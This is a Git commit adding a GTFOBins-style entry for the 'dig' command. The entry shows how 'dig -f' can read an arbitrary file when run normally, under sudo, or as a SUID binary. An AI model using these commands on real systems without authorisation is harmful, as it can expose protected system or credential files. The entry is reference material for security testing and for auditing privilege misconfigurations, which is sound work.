This commit is contained in:
ritiksahni 2021-01-10 17:01:51 +05:30 committed by GitHub
parent 9069b0c903
commit 01d4de40d2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/dig.md Normal file
View File

@ -0,0 +1,16 @@
---
description: Each input line is treated as a lookup query for the `dig` command and the output is corrupted with the result or errors of the operation, so this may not be suitable for binary files. Grepping for `DiG` might help to filter out unwanted content.
functions:
file-read:
- code: |
LFILE=file_to_read
dig -f $LFILE
sudo:
- code: |
LFILE=file_to_read
sudo dig -f $LFILE
suid:
- code: |
LFILE=file_to_read
./dig -f $LFILE
---